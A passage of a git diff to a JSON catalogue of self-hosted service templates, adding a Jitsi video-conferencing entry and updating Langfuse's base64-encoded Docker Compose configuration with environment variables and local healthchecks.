N9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwcm9zb2R5CiAgICB2b2x1bWVzOgogICAgICAtICdqaXRzaS1qdmI6L2NvbmZpZycKICAgIG5ldHdvcmtzOgogICAgICBtZWV0LmppdHNpOiBudWxsCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gY3VybAogICAgICAgIC0gJy1mJwogICAgICAgIC0gJ2h0dHA6Ly9sb2NhbGhvc3Q6ODA4MC9hYm91dC9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKbmV0d29ya3M6CiAgbWVldC5qaXRzaTogbnVsbAo=", + "tags": [ + "jitsi", + "video", + "conference", + "webrtc", + "meeting", + "self-hosted" + ], + "category": "productivity", + "logo": "svgs/jitsi.svg", + "minversion": "0.0.0", + "port": "80" + }, "joomla-with-mariadb": { "documentation": "https://joomla.org?utm_source=coolify.io", "slogan": "Joomla! is the mobile-ready and user-friendly way to build your website. Choose from thousands of features and designs. Joomla! is free and open source.", @@ -2388,7 +2403,7 @@ "langfuse": { "documentation": "https://langfuse.com/docs?utm_source=coolify.io", "slogan": "Langfuse is an open-source LLM engineering platform that helps teams collaboratively debug, analyze, and iterate on their LLM applications.", - "compose": "eC1hcHAtZW52OgogIC0gJ05FWFRBVVRIX1VSTD0ke1NFUlZJQ0VfRlFETl9MQU5HRlVTRX0nCiAgLSAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAtICdFTkNSWVBUSU9OX0tFWT0ke1NFUlZJQ0VfUEFTU1dPUkRfNjRfTEFOR0ZVU0V9JwogIC0gJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogIC0gJ0NMSUNLSE9VU0VfTUlHUkFUSU9OX1VSTD1jbGlja2hvdXNlOi8vY2xpY2tob3VzZTo5MDAwJwogIC0gJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogIC0gJ0NMSUNLSE9VU0VfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX0NMSUNLSE9VU0V9JwogIC0gQ0xJQ0tIT1VTRV9DTFVTVEVSX0VOQUJMRUQ9ZmFsc2UKICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYOi1ldmVudHMvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVDotbGFuZ2Z1c2V9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9BQ0NFU1NfS0VZX0lEfScKICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfU0VDUkVUX0FDQ0VTU19LRVl9JwogIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg6LW1lZGlhL30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUOi1sYW5nZnVzZX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg6LWV4cG9ydHMvfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VORFBPSU5UfScKICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRVhURVJOQUxfRU5EUE9JTlR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRTotdHJ1ZX0nCiAgLSAnTEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TPSR7TEFOR0ZVU0VfSU5HRVNUSU9OX1FVRVVFX0RFTEFZX01TOi0xfScKICAtICdMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9DTElDS0hPVVNFX1dSSVRFX0lOVEVSVkFMX01TOi0xMDAwfScKICAtIFJFRElTX0hPU1Q9cmVkaXMKICAtIFJFRElTX1BPUlQ9NjM3OQogIC0gJ1JFRElTX0FVVEg9JHtTRVJWSUNFX1BBU1NXT1JEX1JFRElTfScKICAtICdFTUFJTF9GUk9NX0FERFJFU1M9JHtFTUFJTF9GUk9NX0FERFJFU1M6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdTTVRQX0NPTk5FQ1RJT05fVVJMPSR7U01UUF9DT05ORUNUSU9OX1VSTDotfScKICAtICdORVhUQVVUSF9TRUNSRVQ9JHtTRVJWSUNFX0JBU0U2NF9ORVhUQVVUSFNFQ1JFVH0nCiAgLSAnQVVUSF9ESVNBQkxFX1NJR05VUD0ke0FVVEhfRElTQUJMRV9TSUdOVVA6LXRydWV9JwogIC0gJ0hPU1ROQU1FPSR7SE9TVE5BTUU6LTAuMC4wLjB9JwogIC0gJ0xBTkdGVVNFX0lOSVRfT1JHX0lEPSR7TEFOR0ZVU0VfSU5JVF9PUkdfSUQ6LW15LW9yZ30nCiAgLSAnTEFOR0ZVU0VfSU5JVF9PUkdfTkFNRT0ke0xBTkdGVVNFX0lOSVRfT1JHX05BTUU6LU15IE9yZ30nCiAgLSAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEPSR7TEFOR0ZVU0VfSU5JVF9QUk9KRUNUX0lEOi1teS1wcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRT0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9OQU1FOi1NeSBQcm9qZWN0fScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw9JHtMQU5HRlVTRV9JTklUX1VTRVJfRU1BSUw6LWFkbWluQGV4YW1wbGUuY29tfScKICAtICdMQU5HRlVTRV9JTklUX1VTRVJfTkFNRT0ke1NFUlZJQ0VfVVNFUl9MQU5HRlVTRX0nCiAgLSAnTEFOR0ZVU0VfSU5JVF9VU0VSX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9MQU5HRlVTRX0nCnNlcnZpY2VzOgogIGxhbmdmdXNlOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZTozJwogICAgZGVwZW5kc19vbjoKICAgICAgcG9zdGdyZXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgcmVkaXM6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgICAgY2xpY2tob3VzZToKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIDA6ICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAxOiAnREFUQUJBU0VfVVJMPXBvc3RncmVzcWw6Ly8ke1NFUlZJQ0VfVVNFUl9QT1NUR1JFU306JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfUBwb3N0Z3Jlczo1NDMyLyR7UE9TVEdSRVNfREI6LWxhbmdmdXNlLWRifScKICAgICAgMjogJ1NBTFQ9JHtTRVJWSUNFX1BBU1NXT1JEX1NBTFR9JwogICAgICAzOiAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgNDogJ1RFTEVNRVRSWV9FTkFCTEVEPSR7VEVMRU1FVFJZX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgNTogJ0xBTkdGVVNFX0VOQUJMRV9FWFBFUklNRU5UQUxfRkVBVFVSRVM9JHtMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTOi1mYWxzZX0nCiAgICAgIDY6ICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgNzogJ0NMSUNLSE9VU0VfVVJMPWh0dHA6Ly9jbGlja2hvdXNlOjgxMjMnCiAgICAgIDg6ICdDTElDS0hPVVNFX1VTRVI9JHtTRVJWSUNFX1VTRVJfQ0xJQ0tIT1VTRX0nCiAgICAgIDk6ICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgMTA6IENMSUNLSE9VU0VfQ0xVU1RFUl9FTkFCTEVEPWZhbHNlCiAgICAgIDExOiAnTEFOR0ZVU0VfVVNFX0FaVVJFX0JMT0I9JHtMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQjotZmFsc2V9JwogICAgICAxMjogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIDEzOiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT046LWF1dG99JwogICAgICAxNDogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUR9JwogICAgICAxNTogJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIDE2OiAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0VORFBPSU5UfScKICAgICAgMTc6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFOi10cnVlfScKICAgICAgMTg6ICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIDE5OiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0JVQ0tFVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ6LWxhbmdmdXNlfScKICAgICAgMjA6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1JFR0lPTjotYXV0b30nCiAgICAgIDIxOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIDIyOiAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1NFQ1JFVF9BQ0NFU1NfS0VZfScKICAgICAgMjM6ICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfRU5EUE9JTlR9JwogICAgICAyNDogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAyNTogJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9QUkVGSVg9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYOi1tZWRpYS99JwogICAgICAyNjogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkFCTEVEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ6LWZhbHNlfScKICAgICAgMjc6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAyODogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9QUkVGSVg9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYOi1leHBvcnRzL30nCiAgICAgIDI5OiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTj0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9SRUdJT046LWF1dG99JwogICAgICAzMDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIDMxOiAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VYVEVSTkFMX0VORFBPSU5UfScKICAgICAgMzI6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQUNDRVNTX0tFWV9JRD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEfScKICAgICAgMzM6ICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAzNDogJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAzNTogJ0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUz0ke0xBTkdGVVNFX0lOR0VTVElPTl9RVUVVRV9ERUxBWV9NUzotMX0nCiAgICAgIDM2OiAnTEFOR0ZVU0VfSU5HRVNUSU9OX0NMSUNLSE9VU0VfV1JJVEVfSU5URVJWQUxfTVM9JHtMQU5HRlVTRV9JTkdFU1RJT05fQ0xJQ0tIT1VTRV9XUklURV9JTlRFUlZBTF9NUzotMTAwMH0nCiAgICAgIDM3OiBSRURJU19IT1NUPXJlZGlzCiAgICAgIDM4OiBSRURJU19QT1JUPTYzNzkKICAgICAgMzk6ICdSRURJU19BVVRIPSR7U0VSVklDRV9QQVNTV09SRF9SRURJU30nCiAgICAgIDQwOiAnRU1BSUxfRlJPTV9BRERSRVNTPSR7RU1BSUxfRlJPTV9BRERSRVNTOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDQxOiAnU01UUF9DT05ORUNUSU9OX1VSTD0ke1NNVFBfQ09OTkVDVElPTl9VUkw6LX0nCiAgICAgIDQyOiAnTkVYVEFVVEhfU0VDUkVUPSR7U0VSVklDRV9CQVNFNjRfTkVYVEFVVEhTRUNSRVR9JwogICAgICA0MzogJ0FVVEhfRElTQUJMRV9TSUdOVVA9JHtBVVRIX0RJU0FCTEVfU0lHTlVQOi10cnVlfScKICAgICAgNDQ6ICdIT1NUTkFNRT0ke0hPU1ROQU1FOi0wLjAuMC4wfScKICAgICAgNDU6ICdMQU5HRlVTRV9JTklUX09SR19JRD0ke0xBTkdGVVNFX0lOSVRfT1JHX0lEOi1teS1vcmd9JwogICAgICA0NjogJ0xBTkdGVVNFX0lOSVRfT1JHX05BTUU9JHtMQU5HRlVTRV9JTklUX09SR19OQU1FOi1NeSBPcmd9JwogICAgICA0NzogJ0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRD0ke0xBTkdGVVNFX0lOSVRfUFJPSkVDVF9JRDotbXktcHJvamVjdH0nCiAgICAgIDQ4OiAnTEFOR0ZVU0VfSU5JVF9QUk9KRUNUX05BTUU9JHtMQU5HRlVTRV9JTklUX1BST0pFQ1RfTkFNRTotTXkgUHJvamVjdH0nCiAgICAgIDQ5OiAnTEFOR0ZVU0VfSU5JVF9VU0VSX0VNQUlMPSR7TEFOR0ZVU0VfSU5JVF9VU0VSX0VNQUlMOi1hZG1pbkBleGFtcGxlLmNvbX0nCiAgICAgIDUwOiAnTEFOR0ZVU0VfSU5JVF9VU0VSX05BTUU9JHtTRVJWSUNFX1VTRVJfTEFOR0ZVU0V9JwogICAgICA1MTogJ0xBTkdGVVNFX0lOSVRfVVNFUl9QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfTEFOR0ZVU0V9JwogICAgICBTRVJWSUNFX0ZRRE5fTEFOR0ZVU0VfMzAwMDogJyR7U0VSVklDRV9GUUROX0xBTkdGVVNFXzMwMDB9JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIHdnZXQKICAgICAgICAtICctcScKICAgICAgICAtICctLXNwaWRlcicKICAgICAgICAtICdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL3B1YmxpYy9oZWFsdGgnCiAgICAgIGludGVydmFsOiA1cwogICAgICB0aW1lb3V0OiA1cwogICAgICByZXRyaWVzOiAzCiAgbGFuZ2Z1c2Utd29ya2VyOgogICAgaW1hZ2U6ICdsYW5nZnVzZS9sYW5nZnVzZS13b3JrZXI6MycKICAgIGVudmlyb25tZW50OgogICAgICAtICdORVhUQVVUSF9VUkw9JHtTRVJWSUNFX0ZRRE5fTEFOR0ZVU0V9JwogICAgICAtICdEQVRBQkFTRV9VUkw9cG9zdGdyZXNxbDovLyR7U0VSVklDRV9VU0VSX1BPU1RHUkVTfToke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9QHBvc3RncmVzOjU0MzIvJHtQT1NUR1JFU19EQjotbGFuZ2Z1c2UtZGJ9JwogICAgICAtICdTQUxUPSR7U0VSVklDRV9QQVNTV09SRF9TQUxUfScKICAgICAgLSAnRU5DUllQVElPTl9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEXzY0X0xBTkdGVVNFfScKICAgICAgLSAnVEVMRU1FVFJZX0VOQUJMRUQ9JHtURUxFTUVUUllfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9FTkFCTEVfRVhQRVJJTUVOVEFMX0ZFQVRVUkVTPSR7TEFOR0ZVU0VfRU5BQkxFX0VYUEVSSU1FTlRBTF9GRUFUVVJFUzotZmFsc2V9JwogICAgICAtICdDTElDS0hPVVNFX01JR1JBVElPTl9VUkw9Y2xpY2tob3VzZTovL2NsaWNraG91c2U6OTAwMCcKICAgICAgLSAnQ0xJQ0tIT1VTRV9VUkw9aHR0cDovL2NsaWNraG91c2U6ODEyMycKICAgICAgLSAnQ0xJQ0tIT1VTRV9VU0VSPSR7U0VSVklDRV9VU0VSX0NMSUNLSE9VU0V9JwogICAgICAtICdDTElDS0hPVVNFX1BBU1NXT1JEPSR7U0VSVklDRV9QQVNTV09SRF9DTElDS0hPVVNFfScKICAgICAgLSBDTElDS0hPVVNFX0NMVVNURVJfRU5BQkxFRD1mYWxzZQogICAgICAtICdMQU5HRlVTRV9VU0VfQVpVUkVfQkxPQj0ke0xBTkdGVVNFX1VTRV9BWlVSRV9CTE9COi1mYWxzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0VWRU5UX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19FVkVOVF9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfRVZFTlRfVVBMT0FEX1BSRUZJWDotZXZlbnRzL30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9CVUNLRVQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQlVDS0VUOi1sYW5nZnVzZX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9SRUdJT049JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUkVHSU9OOi1hdXRvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0FDQ0VTU19LRVlfSUQ9JHtMQU5HRlVTRV9TM19NRURJQV9VUExPQURfQUNDRVNTX0tFWV9JRH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWT0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9TRUNSRVRfQUNDRVNTX0tFWX0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX01FRElBX1VQTE9BRF9GT1JDRV9QQVRIX1NUWUxFPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX0ZPUkNFX1BBVEhfU1RZTEU6LXRydWV9JwogICAgICAtICdMQU5HRlVTRV9TM19NRURJQV9VUExPQURfUFJFRklYPSR7TEFOR0ZVU0VfUzNfTUVESUFfVVBMT0FEX1BSRUZJWDotbWVkaWEvfScKICAgICAgLSAnTEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0VOQUJMRUQ9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRU5BQkxFRDotZmFsc2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfQlVDS0VUPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0JVQ0tFVDotbGFuZ2Z1c2V9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUFJFRklYPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1BSRUZJWDotZXhwb3J0cy99JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfUkVHSU9OPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX1JFR0lPTjotYXV0b30nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVD0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9FWFRFUk5BTF9FTkRQT0lOVH0nCiAgICAgIC0gJ0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9BQ0NFU1NfS0VZX0lEPSR7TEFOR0ZVU0VfUzNfQkFUQ0hfRVhQT1JUX0FDQ0VTU19LRVlfSUR9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVk9JHtMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfU0VDUkVUX0FDQ0VTU19LRVl9JwogICAgICAtICdMQU5HRlVTRV9TM19CQVRDSF9FWFBPUlRfRk9SQ0VfUEFUSF9TVFlMRT0ke0xBTkdGVVNFX1MzX0JBVENIX0VYUE9SVF9GT1JDRV9QQVRIX1NUWUxFO